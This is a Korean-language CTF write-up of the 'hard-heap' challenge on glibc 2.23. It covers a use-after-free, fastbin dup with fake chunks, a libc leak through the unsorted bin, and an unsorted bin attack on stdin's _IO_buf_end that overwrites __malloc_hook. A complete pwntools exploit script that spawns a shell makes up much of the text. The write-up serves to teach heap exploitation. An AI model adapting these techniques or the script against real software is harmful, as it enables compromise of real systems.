keyword : stdin structure, unsorted bin attack
GLIBC version : 2.23
checksec
main 함수는 아래와 같다.
-
sice에서 청크를 할당하고 값을 쓸 수 있다.
-
Observe에서 할당한 청크에 저장된 값을 볼 수 있다.
-
antisice에서 할당된 청크를 해제한다.
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int *v3; // rsi
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
printf("> ", v3);
v4 = 0;
v3 = &v4;
_isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
Observe();
}
if ( v4 > 2 )
break;
if ( v4 != 1 )
goto LABEL_13;
sice();
}
if ( v4 != 3 )
{
if ( v4 == 4 )
puts("Too hard? ;)");
LABEL_13:
exit(0);
}
andtisice();
}
}
sice함수는 다음과 같다. 청크의 size가 0x48 이하일 때만 할당할 수 있고, 청크를 19번만 할당할 수 있다.
unsigned __int64 sice()
{
int v0; // ebx
_BYTE *v1; // rbx
unsigned int size[7]; // [rsp+4h] [rbp-1Ch]
*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
if ( dword_20204C > 19 )
{
puts("Out of deets!");
exit(-1);
}
puts("Enter the size of your deet: ");
printf("> ");
_isoc99_scanf("%u", size);
getchar();
if ( size[0] > 0x48 )
{
puts("Deet too big!");
exit(-1);
}
v0 = dword_20204C;
chunk[v0] = malloc(size[0]);
puts("Enter your deet: ");
printf("> ", size);
v1 = chunk[dword_20204C];
v1[read(0, chunk[dword_20204C], size[0]) - 1] = 0;
++dword_20204C;
puts("Done!");
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
antisice에서 free로 객체를 해제한 후 포인터를 지우지 않는다. UAF 취약점이 발생한다.
unsigned __int64 andtisice()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Which deet would you like to antisice?");
printf("> ");
_isoc99_scanf("%u", &v1);
getchar();
if ( v1 > 0x13 )
{
puts("Invalid index!");
exit(-1);
}
free(chunk[v1]); //UAF
return __readfsqword(0x28u) ^ v2;
}
UAF가 발생하기 때문에 heap leak은 쉽게 할 수 있다. 다만 size가 0x48 초과인 청크를 할당할 수 없기 때문에 libc leak과 AAW가 까다롭다. 우선 libc leak을 하기 위하여 heap 에 0x51의 size를 가지는 가짜 청크를 만든다. fastbin dup를 통해 해당 청크에 할당받는다. 그후 가짜 청크의 size에 값을 쓸 수 있는 가짜 청크 앞의 청크를 해제 후 다시 할당받아서 가짜 청크의 size를 0x101으로 덮어쓴다. fake청크를 다시 해제한후 Observe를 함으로써 libc leak을 할 수 있다.
0: 0 0x51
0x50: 0 0x51
0x100: 0 0x51
-->
0: 0 0x51
0x40: 0 0x51 (fake chunk) --> fastbin dup--> get fake chunk
0x50: 0 0x51
0x100: 0 0x51
-->
0: 0 0x51 --> free and malloc--> rewrite fake chunk's size
0x40: 0 0x101 (fake chunk)
0x50: 0 0x51
0x100: 0 0x51
fastbin dup 공격을 하기 위해서 size가 0x71인 가짜 청크를 2개 만들 필요가 있다. fastbin의 size check와 double free check를 우회해야 하기 때문이다. 0x71짜리 청크는 unsorted bin을 만들 때와 같은 방법을 사용하면 만들 수 있지만, 이를 준비하기 위한 과정에서 회수 제한에 걸린다. 따라서 fastbin dup 이외의 다른 방법을 사용해야 한다. 이때 TMCTF2020의 trip_for_trick에서 사용했던 것과 유사한 테크닉을 사용할 수 있다.
0x7f3ebd5ab960 <_IO_2_1_stdin_+128>: 0x000000000a000000 0x00007f3ebd5ad790
0x7f3ebd5ab970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f3ebd5ab980 <_IO_2_1_stdin_+160>: 0x00007f3ebd5ab9c0 0x0000000000000000
0x7f3ebd5ab990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5ab9a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f3ebd5ab9b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007f3ebd5aa6e0
0x7f3ebd5ab9c0 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5ab9d0 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5ab9e0 <_IO_wide_data_0+32>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5ab9f0 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba00 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba10 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba20 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba30 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba40 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba50 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba60 <_IO_wide_data_0+160>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba70 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba80 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5aba90 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5abaa0 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5abab0 <_IO_wide_data_0+240>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5abac0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5abad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5abae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f3ebd5abaf0 <_IO_wide_data_0+304>: 0x00007f3ebd5aa260 0x0000000000000000
0x7f3ebd5abb00 <__memalign_hook>: 0x00007f3ebd26ce20 0x00007f3ebd26ca00
0x7f3ebd5abb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
_IO_buf_base 의 뒷부분을 쭉 보면 malloc_hook이 존재하는 것을 볼 수 있다. 따라서 _IO_buf_end에 unsorted bin attack으로 libc의 주소를 덮어쓰면, 다음번 scanf에서 malloc_hook을 덮어쓸 수 있다.
from pwn import *
def add(size,data):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('>')
p.send(data)
def remove(idx):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline(str(idx))
p=process('hard-heap')
gdb.attach(p)
add(0x40,'a'*0x30+p64(0x40)+p64(0x51))#0
add(0x48,'b'*0x40)#1
add(0x40,'c')#2
add(0x48,'d'*0x40+p64(0x71))#3
add(0x48,'q')#4
remove(1)
remove(0)
remove(1)
p.sendline('2')
p.sendline('0')
p.recvuntil('?');p.recvuntil('> ')
leak=p.recvuntil('\n').replace('\n','').ljust(8,'\x00')
leak=u64(leak)
heap=leak-0x50
target=heap+0x40#1'size
log.info('laek = '+hex(leak))
log.info('heap = '+hex(heap))
add(0x40,p64(target))#5
add(0x40,'aaaa')#6
add(0x40,'bbbb')#7
add(0x40,'cccc')#8 0x40
remove(0)
add(0x40,'a'*0x38+p64(0x101))#9
remove(8)
p.sendline('2')
p.sendline('8')
p.recvuntil('?');p.recvuntil('> ')
leak=p.recvuntil('\n').replace('\n','').ljust(8,'\x00')
leak=u64(leak)
libc=leak-0x3c4b78
malloc_hook=libc+0x3c4b10
one=libc+0xf1147
buf_end=0x3c4920+libc
log.info('leak = '+hex(leak))
log.info('libc = '+hex(libc))
add(0x48,'1')#10
add(0x20,'2')#11
add(0x20,'3')#12
remove(3)
add(0x48,p64(leak)+p64(buf_end-0x10))
add(0x48,'q')
payload ='\x0a\x31\x00\x00\x00'
payload+=p64(libc+0x3c6790)
payload+=p64(0xffffffffffffffff)
payload+=p64(0)
payload+=p64(libc+0x3c49c0)
payload+=p64(0)*3
payload+=p64(0x00000000ffffffff)+p64(0)*2
payload+=p64(0x3c36e0+libc)
payload+=p64(libc+0x3c3260)+p64(0)+p64(libc+0x85e20)+p64(libc+0x85a00)
payload+=p64(one)*0x50
p.send(payload)
p.sendline(';sh')
p.interactive()
'PWN' 카테고리의 다른 글
FireShell CTF 2020 / FireHTTPD (0) | 2020.03.23 |
---|---|
peda, pwndbg, gef 같이 쓰기 (0) | 2020.03.08 |
HackTM CTF 2020 / Trip_to_trick (0) | 2020.02.10 |
[CISCN 2017] BabyDriver (0) | 2020.02.04 |
2019 defcon/ babyheap (0) | 2020.01.04 |